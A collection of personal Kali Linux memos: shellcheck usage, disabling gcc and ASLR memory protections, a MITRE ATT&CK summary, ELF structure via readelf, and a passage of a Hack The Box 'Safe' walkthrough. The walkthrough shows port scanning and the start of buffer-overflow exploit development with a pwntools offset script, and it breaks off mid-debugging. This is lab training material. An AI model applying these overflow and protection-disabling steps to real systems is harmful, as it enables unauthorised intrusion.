Memo / Enforcing code regulation with shellcheck

Explanation

Memo about code regulation tool for shell script “shellcheck”

Environment

  • OS: Kali linux 2019.4

Solution

1. Installation

Package installation

root@kali:~# sudo apt-get install shellcheck

Cloning the vim plugin syntastic into the directory for Vim plugins

1n4r1@kali:~$ mkdir -p ~/.vim/pack/plugins/start

1n4r1@kali:~$ cd ~/.vim/pack/plugins/start/

1n4r1@kali:~/.vim/pack/plugins/start$ git clone --depth=1 https://github.com/vim-syntastic/syntastic.git
Cloning into 'syntastic'...
remote: Enumerating objects: 406, done.
remote: Counting objects: 100% (406/406), done.
remote: Compressing objects: 100% (279/279), done.
remote: Total 406 (delta 215), reused 176 (delta 66), pack-reused 0
Receiving objects: 100% (406/406), 324.54 KiB | 1.24 MiB/s, done.
Resolving deltas: 100% (215/215), done.

1n4r1@kali:~/.vim/pack/plugins/start$

Adding the following lines in the .vimrc

We have more info on the official repository of syntastic

set statusline+=%#warningmsg#
set statusline+=%{SyntasticStatuslineFlag()}
set statusline+=%*

let g:syntastic_always_populate_loc_list = 1
let g:syntastic_auto_loc_list = 1
let g:syntastic_check_on_open = 1
let g:syntastic_check_on_wq = 0

After that, Vim starts to display the additional console for shellcheck. placeholder

2. Tips

What code regulation is enforced?

We have rules from SC1000 to SC2236.
If we wanna take a look at what exactly these rules are, try to look at the following page.
https://github.com/koalaman/shellcheck/wiki/Checks

Command-line usage

  • To ignore specific rules…
1n4r1@kali:~/kali-setup$ shellcheck -e SC1090 kali-init.sh
1n4r1@kali:~/kali-setup$ 
  • To adopt only specific rules…
1n4r1@kali:~/kali-setup$ shellcheck -i SC1090 kali-init.sh

In kali-init.sh line 52:
. ~/.bashrc
  ^-------^ SC1090: Can't follow non-constant source. Use a directive to specify location.

For more information:
  https://www.shellcheck.net/wiki/SC1090 -- Can't follow non-constant source....
  • To specify the output format(like gcc, checkstyle, json)…
1n4r1@kali:~/kali-setup$ shellcheck --format=gcc  kali-init.sh
kali-init.sh:52:3: warning: Can't follow non-constant source. Use a directive to specify location. [SC1090]
  • To specify the shell…(the default one is bash)
1n4r1@kali:~/kali-setup$ shellcheck --shell=sh kali-init.sh

In kali-init.sh line 52:
. ~/.bashrc
  ^-------^ SC1090: Can't follow non-constant source. Use a directive to specify location.


In kali-init.sh line 59:
echo -e "\n\n===== Don't forget reboot!! ====="
     ^-- SC2039: In POSIX sh, echo flags are undefined.

For more information:
  https://www.shellcheck.net/wiki/SC1090 -- Can't follow non-constant source....
  https://www.shellcheck.net/wiki/SC2039 -- In POSIX sh, echo flags are undef...
1n4r1@kali:~/kali-setup$ 
  • To specify the severity level…
1n4r1@kali:~/kali-setup$ shellcheck -S warning kali-init.sh

In kali-init.sh line 52:
. ~/.bashrc
  ^-------^ SC1090: Can't follow non-constant source. Use a directive to specify location.

For more information:
  https://www.shellcheck.net/wiki/SC1090 -- Can't follow non-constant source....
1n4r1@kali:~/kali-setup$ shellcheck -S error kali-init.sh

1n4r1@kali:~/kali-setup$
  • To enable list checks…
1n4r1@kali:~/kali-setup$ shellcheck --list-optional kali-init.sh
name:    add-default-case
desc:    Suggest adding a default case in `case` statements
example: case $? in 0) echo 'Success';; esac
fix:     case $? in 0) echo 'Success';; *) echo 'Fail' ;; esac

name:    avoid-nullary-conditions
desc:    Suggest explicitly using -n in `[ $var ]`
example: [ "$var" ]
fix:     [ -n "$var" ]

name:    check-unassigned-uppercase
desc:    Warn when uppercase variables are unassigned
example: echo $VAR
fix:     VAR=hello; echo $VAR

name:    quote-safe-variables
desc:    Suggest quoting variables without metacharacters
example: var=hello; echo $var
fix:     var=hello; echo "$var"

name:    require-variable-braces
desc:    Suggest putting braces around all variable references
example: var=hello; echo $var
fix:     var=hello; echo ${var}

1n4r1@kali:~/kali-setup$

To ignore specific rules only once in the code

Put a directive like the following

# shellcheck disable=SC2142
alias hischeck="history|awk '{print \$4}'|sort|uniq -c|sort -n"

Bad shell script codes example

Memo / disable memory protection for gcc

Explanation

Memo to enable / disable the memory protection when compiling with gcc.

Environment

  • OS: Kali linux 2019.4

Solution

1. Default

C lang Source code

root@kali:~# cat helloworld.c 
#include <stdio.h>

int main() {
   printf("Hello World!");
   return 0;
}

Compile with no option

root@kali:~# gcc helloworld.c -o hello_world

root@kali:~# checksec --file hello_world
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /root/.pwntools-cache-3.7/update to 'never'.
[*] A newer version of pwntools is available on pypi (4.0.0 --> 4.0.1).
    Update with: $ pip install -U pwntools
[*] '/root/hello_world'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Compile with stack protection

root@kali:~# gcc helloworld.c -o hello_world -fstack-protector-all

root@kali:~# checksec --file hello_world 
[*] '/root/hello_world'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Confirm ASLR working

root@vagrant:/home/vagrant# echo 1 > /proc/sys/kernel/randomize_va_space

root@vagrant:/home/vagrant# ldd /usr/bin/test
	linux-vdso.so.1 (0x00007ffdf7710000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f2cd0092000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f2cd068f000)

root@vagrant:/home/vagrant# ldd /usr/bin/test
	linux-vdso.so.1 (0x00007ffc56f8d000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1c23924000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f1c23f21000)

root@vagrant:/home/vagrant# ldd /usr/bin/test
	linux-vdso.so.1 (0x00007ffca45ef000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f702a599000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f702ab96000)

2. Disable memory protections

Disable ASLR

root@vagrant:/home/vagrant# echo 0 > /proc/sys/kernel/randomize_va_space

root@vagrant:/home/vagrant# ldd /usr/bin/test
	linux-vdso.so.1 (0x00007ffff7ffa000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff77d8000)
	/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd5000)

root@vagrant:/home/vagrant# ldd /usr/bin/test
	linux-vdso.so.1 (0x00007ffff7ffa000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff77d8000)
	/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd5000)

root@vagrant:/home/vagrant# ldd /usr/bin/test
	linux-vdso.so.1 (0x00007ffff7ffa000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff77d8000)
	/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd5000)

Disable canary

root@kali:~# gcc helloworld.c -o hello_world -fno-stack-protector

root@kali:~# checksec --file hello_world 
[*] '/root/hello_world'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Disable DEP

oot@kali:~# gcc helloworld.c -o hello_world -z execstack

root@kali:~# checksec --file hello_world 
[*] '/root/hello_world'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

Disable PIE

root@kali:~# gcc helloworld.c -o hello_world -no-pie

root@kali:~# checksec --file hello_world 
[*] '/root/hello_world'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
root@kali:~# 

Disable ALL

root@kali:~# gcc helloworld.c -o hello_world -fno-stack-protector -no-pie -z execstack

root@kali:~# checksec --file hello_world 
[*] '/root/hello_world'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

Summary / MITRE ATT&CK

placeholder

Explanation

To dig into the enterprise level information security knowledge (Meaning not a CTF or something like that !!),
summarize the security framework “MITRE ATT&CK”.

Last Update

2020/02/04

Solution

1. Who published it?

The MITRE Corporation is an American not-for-profit organization based in Bedford, Massachusetts, and McLean, Virginia.

2. When it was published?

Started 2013 and updated every quarter.

3. Why it is important?

  1. There used to be no common frameworks for consulting, penetration test, SOC that is for both attack side and defence side.
  2. The ATT&CK framework has become widespread rapidly in the security product industry since approximately 2018.

4. What is the “MITRE ATT&CK” ?

MITRE ATT&CK” is a cybersecurity framework which stands for “Adversarial Tactics, Techniques, and Common Knowledge”.
They use matrix for the describing each attack method. The followings are the matrix they have
What we have to care is “Enterprise” is mostly for the post-exploitation while Pre-ATT&CK is for the recon, weaponization and delivery.

  1. Enterprise Matrix
  2. Mobile Matrix
  3. Pre-ATT&CK Matrix

The following model explains what “PRE-ATT&CK” and “ATT&CK” cover. placeholder

To explain a bit more, this time I use the “Enterprise Matrix”.
The following is the part of Enterprise Matrix. placeholder

We have 3 keyword for this matrix.

  1. Tactics : The header of the matrix. Separated as sub categories.
  2. Techniques : The body of the matrix. Attack techniques / Attack vectors for the each Tactics.
  3. Mitigations : Mitigation for the attack methods.

Then, go to each Techniques.
This time, the example is “Execution through API”. placeholder

Each Techniques has the following information.

  1. General description
  2. Procedure examples : What Adversary groups / tools have leveraged this Technique.
  3. Mitigations : How to mitigate the risk of this Technique.
  4. Detection : How to detect this Technique.
  5. References

5. What we can do with “ATT&CK” ?

On the document “MITRE ATT&CK™: Design and Philosophy”, we have the following use case of ATT&CK.

1. Adversary Enumeration

ATT&CK can be used as a tool to create adversary emulation scenarios to test and verify defenses against common adversary techniques.

2. Red Teaming

ATT&CK can be used as a tool to create red team plans and organize operations to avoid certain defensive measures that may be in place within a network.

3. Behavioral Analytics Development

ATT&CK can be used as a tool to construct and test behavioral analytics to detect adversarial behavior within an environment.

4. Defensive Gap Assessment

ATT&CK can be used as a common behavior-focused adversary model to assess tools, monitoring, and mitigations of existing defenses within an organization’s enterprise.

5. Soc Maturity Assessment

ATT&CK can be used as one measurement to determine how effective a SOC is at detecting, analyzing, and responding to intrusions.

6. Cyber Threat Intelligence Enrichment

ATT&CK is useful for understanding and documenting adversary group profiles from a behavioral perspective that is agnostic of the tools the group may use.

6. Tools / Resources

1. Simulators of testing “ATT&CK” implementation.

  1. Uber Metta
    Tutorial: https://medium.com/uber-security-privacy/uber-security-metta-open-source-a8a49613b4a

  2. MITRE Caldera
    Website: https://www.mitre.org/research/technology-transfer/open-source-software/caldera
    Video tutorial:

  3. Red Canary atomic Red Team
    Website: https://redcanary.com/atomic-red-team/

  4. Endgame Red Team Automation
    Website: https://www.endgame.com/blog/technical-blog/introducing-endgame-red-team-automation

2. Documents of log expected result of testing “ATT&CK” implementation.

  1. MITRE Cyber Analytics Repository
    Analytics based on the MITRE ATT&CK adversary model.

  2. Palo Alto Unit 42 Playbook Viewer
    Free playbook based on ATT&CK by Palo Alto Unit 42.

  3. Malware Archaeology Windows ATT&CK Logging Cheat Sheet
    Document explains what happens when Windows server logs being attacked.

3. Other Tools / Documents / Videos

  1. ATT&CK navigator
    Navigation and annotation of the ATT&CK for each matrix.
    Video tutorial:

  2. Official video tutorial

7. FAQ

8. Conclusion

Please someone give me a correction if there is an incorrect description or lacking information!!

Summary / ELF format

Explanation

To understand the ELF (Executable and Linkable Format) executable more, take a memo with readelf command.

Last Update

2020/01/26

Environment

  • OS: Kali linux 2019.4

Solution

1. Preparation

In this memo, we use the following binary

Source code

root@kali:~# cat helloworld.c 
#include <stdio.h>

int main() {
   printf("Hello World!");
   return 0;
}

Compile

root@kali:~# gcc helloworld.c -o helloworld

root@kali:~# file helloworld
helloworld: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5bf916655a810f6b92eb7a40ec1d293619d5f278, for GNU/Linux 3.2.0, not stripped

2. Structure

The ELF format object file consists of the following parts.

  1. ELF header
  2. Program headers
  3. Segments to be used for the linker to allow execution
  4. Section headers
  5. Section for categorizing instruction and data
  6. Data to execute

Showing ELF header

The ELF header defines whether to use 32- or 64-bit addresses. The header contains three fields that are affected by this setting and offset other fields that follow them. The ELF header is 52 or 64 bytes long for 32-bit and 64-bit binaries respectively.

root@kali:~# readelf -h helloworld
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Shared object file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x1050
  Start of program headers:          64 (bytes into file)
  Start of section headers:          14704 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         11
  Size of section headers:           64 (bytes)
  Number of section headers:         30
  Section header string table index: 29
  • ABI: ABI is short for Application Binary Interface and specifies a low-level interface between the operating system and a piece of executable code.

Also, the following is the definition of ELF header.
We can find it with the command “man elf”

ELF header (Ehdr)
       The ELF header is described by the type Elf32_Ehdr or Elf64_Ehdr:

           #define EI_NIDENT 16

           typedef struct {
               unsigned char e_ident[EI_NIDENT];
               uint16_t      e_type;
               uint16_t      e_machine;
               uint32_t      e_version;
               ElfN_Addr     e_entry;
               ElfN_Off      e_phoff;
               ElfN_Off      e_shoff;
               uint32_t      e_flags;
               uint16_t      e_ehsize;
               uint16_t      e_phentsize;
               uint16_t      e_phnum;
               uint16_t      e_shentsize;
               uint16_t      e_shnum;
               uint16_t      e_shstrndx;
           } ElfN_Ehdr;

Showing program header

For the kernel to map segments into virtual address space with mmap(2) system call for runtime execution. Mandatory for execution

  1. -l: for showing program header
  2. -W: for showing more than 80 chars in one line
root@kali:~# readelf -l -W helloworld

Elf file type is DYN (Shared object file)
Entry point 0x1050
There are 11 program headers, starting at offset 64

Program Headers:
  Type           Offset   VirtAddr           PhysAddr           FileSiz  MemSiz   Flg Align
  PHDR           0x000040 0x0000000000000040 0x0000000000000040 0x000268 0x000268 R   0x8
  INTERP         0x0002a8 0x00000000000002a8 0x00000000000002a8 0x00001c 0x00001c R   0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x000000 0x0000000000000000 0x0000000000000000 0x000568 0x000568 R   0x1000
  LOAD           0x001000 0x0000000000001000 0x0000000000001000 0x0001cd 0x0001cd R E 0x1000
  LOAD           0x002000 0x0000000000002000 0x0000000000002000 0x000158 0x000158 R   0x1000
  LOAD           0x002de8 0x0000000000003de8 0x0000000000003de8 0x000248 0x000250 RW  0x1000
  DYNAMIC        0x002df8 0x0000000000003df8 0x0000000000003df8 0x0001e0 0x0001e0 RW  0x8
  NOTE           0x0002c4 0x00000000000002c4 0x00000000000002c4 0x000044 0x000044 R   0x4
  GNU_EH_FRAME   0x002014 0x0000000000002014 0x0000000000002014 0x00003c 0x00003c R   0x4
  GNU_STACK      0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW  0x10
  GNU_RELRO      0x002de8 0x0000000000003de8 0x0000000000003de8 0x000218 0x000218 R   0x1

 Section to Segment mapping:
  Segment Sections...
   00     
   01     .interp 
   02     .interp .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt 
   03     .init .plt .plt.got .text .fini 
   04     .rodata .eh_frame_hdr .eh_frame 
   05     .init_array .fini_array .dynamic .got .got.plt .data .bss 
   06     .dynamic 
   07     .note.gnu.build-id .note.ABI-tag 
   08     .eh_frame_hdr 
   09     
   10     .init_array .fini_array .dynamic .got 

Showing section header

The section headers define all the sections in the file for linking and relocation. Actually not mandatory to execute the ELF file.

  1. -S: for showing section header
  2. -W: for showing more than 80 chars in one line
root@kali:~# readelf -S -W helloworld
There are 30 section headers, starting at offset 0x3970:

Section Headers:
  [Nr] Name              Type            Address          Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            0000000000000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        00000000000002a8 0002a8 00001c 00   A  0   0  1
  [ 2] .note.gnu.build-id NOTE            00000000000002c4 0002c4 000024 00   A  0   0  4
  [ 3] .note.ABI-tag     NOTE            00000000000002e8 0002e8 000020 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        0000000000000308 000308 000024 00   A  5   0  8
  [ 5] .dynsym           DYNSYM          0000000000000330 000330 0000a8 18   A  6   1  8
  [ 6] .dynstr           STRTAB          00000000000003d8 0003d8 000084 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          000000000000045c 00045c 00000e 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         0000000000000470 000470 000020 00   A  6   1  8
  [ 9] .rela.dyn         RELA            0000000000000490 000490 0000c0 18   A  5   0  8
  [10] .rela.plt         RELA            0000000000000550 000550 000018 18  AI  5  23  8
  [11] .init             PROGBITS        0000000000001000 001000 000017 00  AX  0   0  4
  [12] .plt              PROGBITS        0000000000001020 001020 000020 10  AX  0   0 16
  [13] .plt.got          PROGBITS        0000000000001040 001040 000008 08  AX  0   0  8
  [14] .text             PROGBITS        0000000000001050 001050 000171 00  AX  0   0 16
  [15] .fini             PROGBITS        00000000000011c4 0011c4 000009 00  AX  0   0  4
  [16] .rodata           PROGBITS        0000000000002000 002000 000011 00   A  0   0  4
  [17] .eh_frame_hdr     PROGBITS        0000000000002014 002014 00003c 00   A  0   0  4
  [18] .eh_frame         PROGBITS        0000000000002050 002050 000108 00   A  0   0  8
  [19] .init_array       INIT_ARRAY      0000000000003de8 002de8 000008 08  WA  0   0  8
  [20] .fini_array       FINI_ARRAY      0000000000003df0 002df0 000008 08  WA  0   0  8
  [21] .dynamic          DYNAMIC         0000000000003df8 002df8 0001e0 10  WA  6   0  8
  [22] .got              PROGBITS        0000000000003fd8 002fd8 000028 08  WA  0   0  8
  [23] .got.plt          PROGBITS        0000000000004000 003000 000020 08  WA  0   0  8
  [24] .data             PROGBITS        0000000000004020 003020 000010 00  WA  0   0  8
  [25] .bss              NOBITS          0000000000004030 003030 000008 00  WA  0   0  1
  [26] .comment          PROGBITS        0000000000000000 003030 000026 01  MS  0   0  1
  [27] .symtab           SYMTAB          0000000000000000 003058 000600 18     28  45  8
  [28] .strtab           STRTAB          0000000000000000 003658 00020a 00      0   0  1
  [29] .shstrtab         STRTAB          0000000000000000 003862 000107 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  l (large), p (processor specific)

3. Reference

Hackthebox Safe Walkthrough

placeholder

Explanation

Hackthebox is a website which has a bunch of vulnerable machines in its own VPN.
This is a walkthrough of a box “Safe”.

Solution

1. Initial Enumeration

TCP Port Scanning:

root@kali:~# nmap -p- 10.10.10.147 -sV -sC
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-17 11:22 EET
Nmap scan report for 10.10.10.147
Host is up (0.044s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 6d:7c:81:3d:6a:3d:f9:5f:2e:1f:6a:97:e5:00:ba:de (RSA)
|   256 99:7e:1e:22:76:72:da:3c:c9:61:7d:74:d7:80:33:d2 (ECDSA)
|_  256 6a:6b:c3:8e:4b:28:f7:60:85:b1:62:ff:54:bc:d8:d6 (ED25519)
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Apache2 Debian Default Page: It works
1337/tcp open  waste?
| fingerprint-strings:
|   DNSStatusRequestTCP:
|     04:27:48 up 5 min, 0 users, load average: 0.00, 0.00, 0.00
|   DNSVersionBindReqTCP:
|     04:27:43 up 5 min, 0 users, load average: 0.00, 0.00, 0.00
|   GenericLines:
|     04:27:32 up 5 min, 0 users, load average: 0.00, 0.00, 0.00
|     What do you want me to echo back?
|   GetRequest:
|     04:27:38 up 5 min, 0 users, load average: 0.00, 0.00, 0.00
|     What do you want me to echo back? GET / HTTP/1.0
|   HTTPOptions:
|     04:27:38 up 5 min, 0 users, load average: 0.00, 0.00, 0.00
|     What do you want me to echo back? OPTIONS / HTTP/1.0
|   Help:
|     04:27:54 up 5 min, 0 users, load average: 0.00, 0.00, 0.00
|     What do you want me to echo back? HELP
|   NULL:
|     04:27:32 up 5 min, 0 users, load average: 0.00, 0.00, 0.00
|   RPCCheck:
|     04:27:38 up 5 min, 0 users, load average: 0.00, 0.00, 0.00
|   RTSPRequest:
|     04:27:38 up 5 min, 0 users, load average: 0.00, 0.00, 0.00
|     What do you want me to echo back? OPTIONS / RTSP/1.0
|   SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     04:27:54 up 5 min, 0 users, load average: 0.00, 0.00, 0.00
|_    What do you want me to echo back?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.80%I=7%D=1/17%Time=5E217D33%P=x86_64-pc-linux-gnu%r(NU
SF:LL,3E,"\x2004:27:32\x20up\x205\x20min,\x20\x200\x20users,\x20\x20load\x
SF:20average:\x200\.00,\x200\.00,\x200\.00\n")%r(GenericLines,63,"\x2004:2
SF:7:32\x20up\x205\x20min,\x20\x200\x20users,\x20\x20load\x20average:\x200
SF:\.00,\x200\.00,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20ec
SF:ho\x20back\?\x20\r\n")%r(GetRequest,71,"\x2004:27:38\x20up\x205\x20min,
SF:\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.0
SF:0\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20GET\x20
SF:/\x20HTTP/1\.0\r\n")%r(HTTPOptions,75,"\x2004:27:38\x20up\x205\x20min,\
SF:x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.00
SF:\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20OPTIONS\
SF:x20/\x20HTTP/1\.0\r\n")%r(RTSPRequest,75,"\x2004:27:38\x20up\x205\x20mi
SF:n,\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\
SF:.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20OPTIO
SF:NS\x20/\x20RTSP/1\.0\r\n")%r(RPCCheck,3E,"\x2004:27:38\x20up\x205\x20mi
SF:n,\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\
SF:.00\n")%r(DNSVersionBindReqTCP,3E,"\x2004:27:43\x20up\x205\x20min,\x20\
SF:x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.00\n")
SF:%r(DNSStatusRequestTCP,3E,"\x2004:27:48\x20up\x205\x20min,\x20\x200\x20
SF:users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.00\n")%r(Help,
SF:67,"\x2004:27:54\x20up\x205\x20min,\x20\x200\x20users,\x20\x20load\x20a
SF:verage:\x200\.00,\x200\.00,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me
SF:\x20to\x20echo\x20back\?\x20HELP\r\n")%r(SSLSessionReq,64,"\x2004:27:54
SF:\x20up\x205\x20min,\x20\x200\x20users,\x20\x20load\x20average:\x200\.00
SF:,\x200\.00,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x
SF:20back\?\x20\x16\x03\n")%r(TerminalServerCookie,63,"\x2004:27:54\x20up\
SF:x205\x20min,\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\
SF:.00,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\
SF:?\x20\x03\n")%r(TLSSessionReq,64,"\x2004:27:54\x20up\x205\x20min,\x20\x
SF:200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.00\n\nW
SF:hat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20\x16\x03\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 151.31 seconds

root@kali:~#

2. Getting User

We have 1 interesting service on port 1337.
Sounds it is showing the command result of “uptime”

root@kali:~# nc 10.10.10.147 1337
 04:52:20 up 30 min,  0 users,  load average: 0.00, 0.00, 0.00


What do you want me to echo back? 

root@kali:~# 

Besides, we have an interesting message on the port 80.
It says that the app on port 1337 can be downloaded from here.

root@kali:~# curl -s http://10.10.10.147 | head -n 5

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<!-- 'myapp' can be downloaded to analyze from here
     its running on port 1337 -->
(23) Failed writing body

root@kali:~# 

Then, download the “myapp” with the following command.

root@kali:~# curl -s http://10.10.10.147/myapp -o myapp

Try to run the script.
Looks like it just echoes back the input message.

root@kali:~# chmod +x myapp
root@kali:~# ./myapp
 11:57:23 up 10:20,  1 user,  load average: 1.99, 2.32, 2.25

What do you want me to echo back? AAAAA
AAAAA
root@kali:~#

On the other hand, if we put a bunch of characters, we have segmentation fault.
This means we have Buffer Overflow Exploit here.

root@kali:~# ./myapp 
 12:04:32 up 10:27,  1 user,  load average: 2.87, 2.51, 2.31

What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaaaa
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaaaa
Segmentation fault

root@kali:~#

Actually, we can disassemble and view the actual C code of this executable with “Ghidra”.
It is showing that actually “uptime” command is running. placeholder

Then, open the executable with GDB and its extension GEF.
By the “checksec” command, we can analyze if it has any protection.
This time, NX is enabled and this means we can’t write our shellcode on the stack and execute.

  • Canary: used to detect a stack buffer overflow before execution of malicious code can occur.
  • NX: No eXecute bit(Data Execution Prevention for Windows)
  • PIE: Position Independent Executable
  • RelRO: RELocation ReadOnly
root@kali:~# gdb -q myapp
GEF for linux ready, type `gef' to start, `gef config' to configure
80 commands loaded for GDB 8.3.1 using Python engine 3.7
Reading symbols from myapp...
(No debugging symbols found in myapp)
gef➤  checksec
[+] checksec for '/root/myapp'
Canary                        : ✘
NX                            : ✓
PIE                           : ✘
Fortify                       : ✘
RelRO                         : Partial
gef➤

Next, try to figure out how many offsets do we need for the payload.
At first, create the following python script.

root@kali:~# cat rip_override.py
#!/usr/bin/python3

from pwn import *

payload = b'A' * 112
payload += b'B' * 8

f = open("bin.txt", "wb")
f.write(payload)

root@kali:~# 

Then, run the “rip_override.py”.
Now, we got the needed payload as “bin.txt”.

root@kali:~# python3 rip_override.py

root@kali:~# cat bin.txt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB

Then, run the “myapp” with the payload “bin.txt”.
We can confirm that the value of RBP is “BBBBBBBB”.
This means we can control the value of RIP with the bytes after 120.

root@kali:~# gdb -q ./myapp
GEF for linux ready, type `gef' to start, `gef config' to configure
80 commands loaded for GDB 8.3.1 using Python engine 3.7
Reading symbols from ./myapp...
(No debugging symbols found in ./myapp)
gef➤  r < bin.txt
Starting program: /root/myapp < bin.txt
[Detaching after vfork from child process 50982]
 18:43:58 up 17:07,  1 user,  load average: 2.09, 2.28, 2.47

What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e11b00 in __libc_start_main (main=0x40115f <main>, argc=0x405260, argv=0x7fffffffe5b8, init=0x7ffff7ed6904 <__GI___libc_write+20>, fini=0x79, rtld_fini=0x0, stack_end=0x7fffffffe5a8) at ../csu/libc-start.c:141
141	../csu/libc-start.c: No such file or directory.
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0               
$rcx   : 0x00007ffff7ed6904  →  0x5477fffff0003d48 ("H="?)
$rdx   : 0x00007ffff7fa7580  →  0x0000000000000000
$rsp   : 0x00007fffffffe4e0  →  0x0000000000000000
$rbp   : 0x4242424242424242 ("BBBBBBBB"?)
$rsi   : 0x0000000000405260  →  "What do you want me to echo back? AAAAAAAAAAAAAAAA[...]"
$rdi   : 0x0               
$rip   : 0x00007ffff7e11b00  →  <__libc_start_main+48> or DWORD PTR [rbx-0x7a3fceee], ecx
$r8    : 0x79              
$r9    : 0x0               
